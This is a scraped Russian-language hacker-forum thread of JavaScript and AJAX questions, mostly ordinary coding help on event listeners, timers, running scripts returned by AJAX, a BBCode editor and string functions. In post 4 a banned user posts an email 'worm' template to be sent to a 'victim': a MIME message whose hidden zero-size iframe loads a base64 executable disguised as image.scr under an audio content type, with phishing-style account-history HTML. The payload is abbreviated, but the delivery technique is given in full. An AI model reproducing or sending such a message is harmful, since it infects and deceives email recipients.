[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    PHP:
    input document.getElementsByTagName('input');
        for(
    i=0;i<input.length;i++)
        {
            var 
    object input[i];

            if(
    input[i].type == 'text') {
                
    input[i].addEventListener('keyup', function(){Some(object.value)}, false);
            }
    }
    как сделать, чтобы на каждом инпуте не было значение последнего?
     
  2. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    вспомнил сам, заменил object на this в Some()
     
  3. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    ---------------------------------------------------
    http://bytes.com/groups/javascript/437346-addeventlistener-attachevent-why-doesnt-work
     
  4. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    ---------------------------vot kamu nado peredelajte pod sebja----------------------------
    "червь"сдесь можете все изменить под себя пакуем sex.eml и шлем жертве
    Строка <iframe src=3Dcid:123abc123 height=3D0 width=3D0> </iframe> производит невидимый заделанный фрейм (IFRAME), в котором выводится файл image.scr. Указание источника в IFRAME (cid:123abc123)

    #####################################################
    MIME-Version: 1.0
    Content-Type: multipart/alternative;
    boundary="----------N22ZDOJQTBRXZUM"

    ------------N22ZDOJQTBRXZUM
    Content-Type: text/html;
    Content-Transfer-Encoding: quoted-printable

    <HTML><HEAD></HEAD><BODY>
    <iframe xsrc=3Dcid:qV5TzVHMm7mqf height=3D0 width=3D0>
    </iframe>
    <FONT></FONT>
    <html><br>
    <head><br>
    <title>Account history</title><br>
    <link rel=3D"stylesheet" type=3D"text/css"=<br>
    xhref=3D"http://antichat.ru/or1/
    includes/css/Konto=2Ecss=<br>
    "><br>
    </head><br>
    <table width=3D"534" border=3D"0"
    bordercolor=3D"#ff0000"=<br>
    cellpadding=3D"0" cellspacing=3D"0"><br>
    <tr><br>
    <td rowspan=3D"2"><img=<br>
    xsrc=3D"http://www.antichat/or1/
    </BODY></HTML>

    ------------N22ZDOJQTBRXZUM
    Content-Type: audio/x-midi;
    name=image.scr
    Content-Transfer-Encoding: base64
    Content-ID: <qV5TzVHMm7mqf>

    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA
    AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm
    .
    .
    .
    UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZX
    X2lvYgAAU2V0VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    ------------N22ZDOJQTBRXZUM--


    bla bla bla bala bla


    MIME-Version: 1.0
    Content-Type: multipart/alternative;
    boundary="----------N22ZDOJQTBRXZUM"

    ------------N22ZDOJQTBRXZUM
    Content-Type: text/html;
    Content-Transfer-Encoding: quoted-printable

    <html><head></head><body>
    <iframe xsrc=3Dcid:123abc123 height=3D0 width=3D0>
    </iframe>
    </body></html>

    ------------N22ZDOJQTBRXZUM
    Content-Type: audio/x-midi;
    name=image.scr
    Content-Transfer-Encoding: base64
    Content-ID: <123abc123>

    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA
    AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm
    .
    .
    .
    UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZX
    X2lvYgAAU2V0VGltZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    ------------N22ZDOJQTBRXZUM--
     
  5. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    я уже написал ответ, если у кого другого будет подобный провал в памяти.
     
  6. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    как сделать чтоб функцию вызывало например 20 раз

    PHP:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <
    html>
        <
    head>
            <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8">
            <
    title>Untitled Document</title>
        <
    script language="JavaScript1.2" charset="utf-8">
           
            function 
    worksleep()
            {
            
    data = new Date();
            
    uzel document.createTextNode("");
            
    time data.getHours();
            
                if (
    time || time 23) {
                    
    document.createTextNode("")
                    
    sleep "You now sleep";
                    
    uzel.nodeValue sleep;
                    
    document.getElementById("my").appendChild(uzel);
                }
                else {
                    
    work "You now work";
                    
    uzel.nodeValue work;
                    
    document.getElementById("my").appendChild(uzel);
                }
            
            }
            function 
    main()
             {
                 
    worksleep();
                 
                    
    setInterval("worksleep()"1000);
                    
                
                
             }
            
             
            
    </script>    
        </head>
        <body onload="main()">
         <div>  
        <span id="my"></span></div>
        
        
        
        </body>
    </html>


     
  7. DMajere

    DMajere New Member

    Joined:
    25 Dec 2008
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    вставь цикл в тело функции. если я правильно понял то, что ты хочешь...то примерно будет так...
    Code:
     function worksleep()
            { цикл(условие цикла)
    for(i=1;i<21;i++)
    {
    далее тело функции
    }}
    
    можно вроде вставить код цикла прямо в обработчик

    Code:
    
    onload="for(i=1;i<21;i++){main();}"
    
    
     
  8. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    setInterval() подойдет, setTimeout() или про это еще посмотри.
     
  9. OnArs

    OnArs Banned

    Joined:
    1 Aug 2008
    Messages:
    211
    Likes Received:
    13
    Reputations:
    1
    Здравствуйте, подскажите пожалуйста, как сделать функцию Вывода на печать текущей странице?


    Заранее благодарен!
     
  10. Malunga

    Malunga New Member

    Joined:
    3 Sep 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Всем привет. Столкнулся с такой проблемой как получение тега <script> через ajax.
    На странице 1 выполняется запрос к странице 2 путём ajax. 2-я страница содержит JS-код (в тегах <script></script>). Но этот код не выполняется при получении на странице 1. Подскажите как это реализовать?

    Простой пример (если вдруг плохо обьяснил):
    страница 1
    PHP:
    <script type="text/javascript">
    httpRequest = new XMLHttpRequest();

    function 
    listen(divId){

        function 
    result(){

            if (
    httpRequest.readyState == || httpRequest.readyState == 'complete'){
                var 
    result httpRequest.responseText;
                
    document.getElementById(divId).innerHTML result;
            }
        }

        
    httpRequest.open('GET''2.php'true);
        
    httpRequest.send(null);
        
    httpRequest.onreadystatechange result;

    }

    </script>

    <div id="num" onclick="listen('num')">какой то текст!!</div>


    2 страница

    PHP:
    <script>alert('TEXT')</script>
    Но при получении на странице 1, алерт не выполнится......
     
  11. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ну а с чего ты взял что XMLHttpRequest будет вести себя как браузер? Естественно что js код находяшейся на другой странице магическим образом не выполниться, равно как и не произойдет загрузка всех картинок, css, flash, представь сколько заняло бы все это времени, жуть, парси ответ например match(/<script>(.*)</script>/) ну делай eval отпарсиных данных.
     
  12. spamoney

    spamoney Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    120
    Likes Received:
    7
    Reputations:
    1
    Здравствуйте, такой вопрос:

    Есть поле select, в котором несколько пунктов, как сделать так, что бы после выбора кого-либо значения, выбранное значение сбрасывалось на первое в этом списке...

    т.е допустим есть:
    Code:
    <div><select style="font-size: 10px;" name="background" onchange=\"InsertCode('".$id."','background', this.options[this.selectedIndex].value)\">
    <option style="background-color: white; color:black;" value="white">Выберите Фон</option>
    <option style="background-color: #F58A8A;" value="#F58A8A">Фон F58A8A</option>
    <option style="background-color: #C00000;" value="#C00000">Фон C00000</option>
    </select></div>
    
    Нужно что б после выбора, любого фона (допустим Фон C00000), поле select сбрасывалось на первое значение (Выберите Фон)
     
  13. it's mу

    it's mу Banned

    Joined:
    12 Feb 2009
    Messages:
    47
    Likes Received:
    32
    Reputations:
    5
    У меня такой вопрос, можно ли через <body onload=javascript:... сделать так, что бы загружалась страница в ифреме?
     
  14. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    spamoney, помоему такое не получится сделать
     
  15. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    HTML:
    <script type="text/javascript">
    //Javasript BBC text editor designed by Rakuli - www.openthource.com (You can get rid of this if you want ;)
    
    // Javascript can have abstraction too, so let's abstract just about EVERYTHING
    
    
    // Let's define the class In this one I have hard-coded a lot of things which kinda sux but we'll live 
    // it still makes thing easier to change later on...
    // The code here will be longer than your current code but nothing will be embedded in your html
    
    function createTextEditor(txtName) 
    // this takes the name of the textarea which needs to also be the name of the variable (just for ease of user and self referencing)
    // We will create the variable later using var myTextEditor = new createTextEditor('myTextEditor');
    {
    	this.id			= txtName; // Name our object
    	this.textarea	= document.getElementById(txtName); // Store a reference to textarea
    	
    	this.textarea.onselect = function () {this.storeCursor(this)};
    	this.textarea.onchange = function () {this.storeCursor(this)};
    	this.textarea.onkeyup  = function () {this.storeCursor(this)};
    	this.textarea.onclick  = function () {this.storeCursor(this)};
    	this.textarea.storeCursor = function () {
    												// Make it easier to track the cursor in IE
    											if (typeof(this.createTextRange) != "undefined")
    												this.cursorPos = document.selection.createRange().duplicate();
    											};
    									
    	
    	// Okay, now we'll create an object for each of the formatting options you want
    	// Same as the main, pass the ID of the 
    	// To ease everything we'll give each child a parent propery
    	
    	this.boldText 	= new createSimpleText('boldText', 'Bold', 'b', this); 									
    	this.italicText	= new createSimpleText('italicText', 'Italicise', 'i', this);								
    	this.underLine 	= new createSimpleText('underLine', 'Underline', 'u', this);								
    	this.mail		= new createSimpleText('mail', 'Email', 'mail', this);										
    	this.quote		= new createSimpleText('quote', 'Quote', 'quote', this, '[quote=AuthorName]Text[/quote]');	
    	this.url		= new createSimpleText('url', 'URL', 'url', this, '[url=URL]Link Name[/url]');
    	this.fontColor  = new createSelectBoxText('fontColor', 'Font Color', 'color', this, '[color=colorName]Text[/color]');
    	this.fontSize	= new createSelectBoxText('fontSize', 'Font Size', 'size', this, '[size=fontSize]Text[/size]');
    	
    	//the ID of the help box
    	this.helpBox 	= document.getElementById('helpBox');
    	
    	this.showHelp	= function (helpTxt)
    						{
    							this.helpBox.innerHTML = helpTxt;
    						};
    	
    	this.updateText = function (tagOpen, tagClose)
    						{							
    							// See if we have a selection and whether to replace or add or just slot in
    							// IE makes this easy because we used the onselect function earlier
    							if (typeof(this.textarea.cursorPos) != "undefined" && this.textarea.createTextRange)
    							{
    								var cursorPos = this.textarea.cursorPos, stored_length = cursorPos.text.length;
    						
    								cursorPos.text = cursorPos.text.charAt(cursorPos.text.length - 1) == ' ' ? tagOpen + cursorPos.text + tagClose + ' ' : tagOpen + cursorPos.text + tagClose;
    						
    								// If we are just inserting the tag where the cursor is sitting then we will place the cursor
    								// between the tags (nifty ;) )
    								if (stored_length == 0)
    								{
    									cursorPos.moveStart("character", -tagClose.length);
    									cursorPos.moveEnd("character", -tagClose.length);
    									cursorPos.select();
    								}
    								else
    									this.textarea.focus(cursorPos);
    							}
    							
    							// A little bit messier with REAL browsers ... 
    							else if (typeof(this.textarea.selectionStart) != "undefined")
    							{
    								// store the text before the selection
    								var strt = this.textarea.value.substr(0, this.textarea.selectionStart);
    								// the actual selected text
    								var selection = this.textarea.value.substr(this.textarea.selectionStart, this.textarea.selectionEnd - this.textarea.selectionStart);
    								// store the text after the selection
    								var fin = this.textarea.value.substr(this.textarea.selectionEnd);
    								// put the cursor at the endo of the selection
    								var cursorPos = this.textarea.selectionStart;
    								var scrollPos = this.textarea.scrollTop; // make sure the cursor isn't invisible when we place it in
    						
    								this.textarea.value = strt + tagOpen + selection + tagClose + fin; // Write the tags
    						
    								if (this.textarea.setSelectionRange)
    								{
    									if (selection.length == 0)
    									// put the cursor in the middle again if nothing is selected
    										this.textarea.setSelectionRange(cursorPos + tagOpen.length, cursorPos + tagOpen.length);
    									else
    									// else place the cursor after the tag
    										this.textarea.setSelectionRange(cursorPos, cursorPos + tagOpen.length + selection.length + tagClose.length);
    									this.textarea.focus();
    								}
    								
    								// scroll the required position
    								this.textarea.scrollTop = scrollPos;
    							}
    							
    							
    							// Dunno what happened here, something went wrong so just plug it at the end...
    							else
    							{
    								this.textarea.value += tagOpen + tagClose;
    								this.textarea.focus(this.textarea.value.length - 1);
    							}
    						}
    		
    	this.insertSingleTag = function (tag) // This will insert a sinlge tag (like smilies or a <br /> or something)
    									{
    										
    										// Pretty much same as above, but just one tag going in (this will overwrite selected text -- like pasting sometthing would)
    										// Thankfully IE makes this easier too
    										if (typeof(this.textarea.cursorPos) != "undefined" && this.textarea.createTextRange)
    										{
    											var cursorPos = this.textarea.cursorPos;
    									
    											cursorPos.text = cursorPos.text.charAt(cursorPos.text.length - 1) == ' ' ? tag + ' ' : tag;
    											cursorPos.select();
    										}
    										// But messiness comes with real browsers
    										else if (typeof(this.textarea.selectionStart) != "undefined")
    										{
    											var strt = this.textarea.value.substr(0, this.textarea.selectionStart);
    											var fin = this.textarea.value.substr(this.textarea.selectionEnd);
    											var scrollPos = this.textarea.scrollTop;
    									
    											this.textarea.value = strt + tag + fin
    									
    											if (this.textarea.setSelectionRange)
    											{
    												this.textarea.focus();
    												this.textarea.setSelectionRange(strt.length + tag.length, strt.length + tag.length);
    											}
    											this.textarea.scrollTop = scrollPos;
    										}
    										// Just put it on the end.
    										else
    										{
    											this.textarea.value += tag;
    											this.textarea.focus(this.textarea.value.length - 1);
    										}
    									}
    }
    
    // Basically pass the id of the input, the name of the style, the opening tag, the closing tag, the parent and optionally an additional bit of text
    // Use this function for creating simple things like [u][/u] [quote][/quote] where nothing needs to be dynamically added to the BBC tags..
    function createSimpleText(inpName, txtName, tag, theParent, addHelpTxt)
    {
    	this.inpName			= document.getElementById(inpName); // store an object reference
    	this.inpName._parent 	= theParent;
    	
    	this.inpName.tagOpen	= '[' + tag + ']'; // wrap up the tag in the square brackets
    	this.inpName.tagClose	= '[/' + tag + ']';
    	
    	this.inpName.helpString = '<strong>' + txtName + ' Text : </strong> ' + this.inpName.tagOpen + ' text ' + this.inpName.tagClose + (addHelpTxt ? ' or ' + addHelpTxt : '');
    	
    	this.inpName.onmouseover 	= function () { this._parent.showHelp(this.helpString); };
    	this.inpName.onmouseout  	= function () { this._parent.showHelp('');};
    	
    	this.inpName.onclick		= function () { this._parent.updateText(this.tagOpen, this.tagClose);};
    }
    
    
    function createSelectBoxText (inpName, txtName, tag, theParent, addHelpTxt)
    {
    	this.inpName			= document.getElementById(inpName); // store an object reference
    	this.inpName._parent 	= theParent;
    	
    	
    	this.inpName.tagOpen	= '[' + tag + '='; // add the parameter from the value of the selectBox
    	this.inpName.tagClose	= '[/' + tag + ']';
    	
    	this.inpName.helpString = '<strong>' + txtName + ': </strong> ' + addHelpTxt;
    	
    	this.inpName.onmouseover 	= function () { this._parent.showHelp(this.helpString); };
    	this.inpName.onmouseout  	= function () { this._parent.showHelp('');};
    	
    	this.inpName.onchange		= function () { this._parent.updateText(this.tagOpen + this.options[this.selectedIndex].value + ']', this.tagClose);};
    }
    </script>
    
    есть код а как его юзать хз =) с JS никада не работал и не пойму как скрипт к форме привязать =\\
     
  16. DMajere

    DMajere New Member

    Joined:
    25 Dec 2008
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    подскажите, есть ли в javascript функции аналогичные
    strip_tags(), addslashes и trim
     
  17. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    PHP:

    function strip_tagsstr )
    {    
        return 
    str.replace(/<\/?[^>]+>/gi'');
    }

    function 
    addslashesstr 
    {
        return (
    str+'').replace(/([\\"'])/g, "\\$1").replace(/\0/g, "\\0");
    }


    function trim(string)
    {
    return string.replace(/(^\s+)|(\s+$)/g, "");
    }

    провда не проверял, пашет или нет, вот проверишь напиши=)
     
  18. DMajere

    DMajere New Member

    Joined:
    25 Dec 2008
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    спасибо за код. я так понял, что встроенных подобных функций нет?


    хм. отчего-то не работает ваш код, Корвин

    даже могу сказать почему. в первой функции использован обр слеш как ограничитель шаблона

    (/</?[^>]+>/gi, '')
    шаблон будет закрываться раньше. ну да это ничего. это мы сами допрем)))

    еще раз спасибо за ответ
     
    #1198 DMajere, 18 Feb 2009
    Last edited: 18 Feb 2009
  19. gOsToFf

    gOsToFf New Member

    Joined:
    22 Aug 2007
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    1) JavaScript. Обычные часы вида hh:mm:ss но время на них должно показывать серверное. php использовать можно.
    2) такой же отсчет на JavaScript только обратный, без часов только минуты и секунды. Когда он по нулям нужно обновление страницы, но так чтобы элементы $_POST[]; сохранялись. Как это сделать.
    Кто может помогите пожалуйста.
     
  20. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
Thread Status:
Not open for further replies.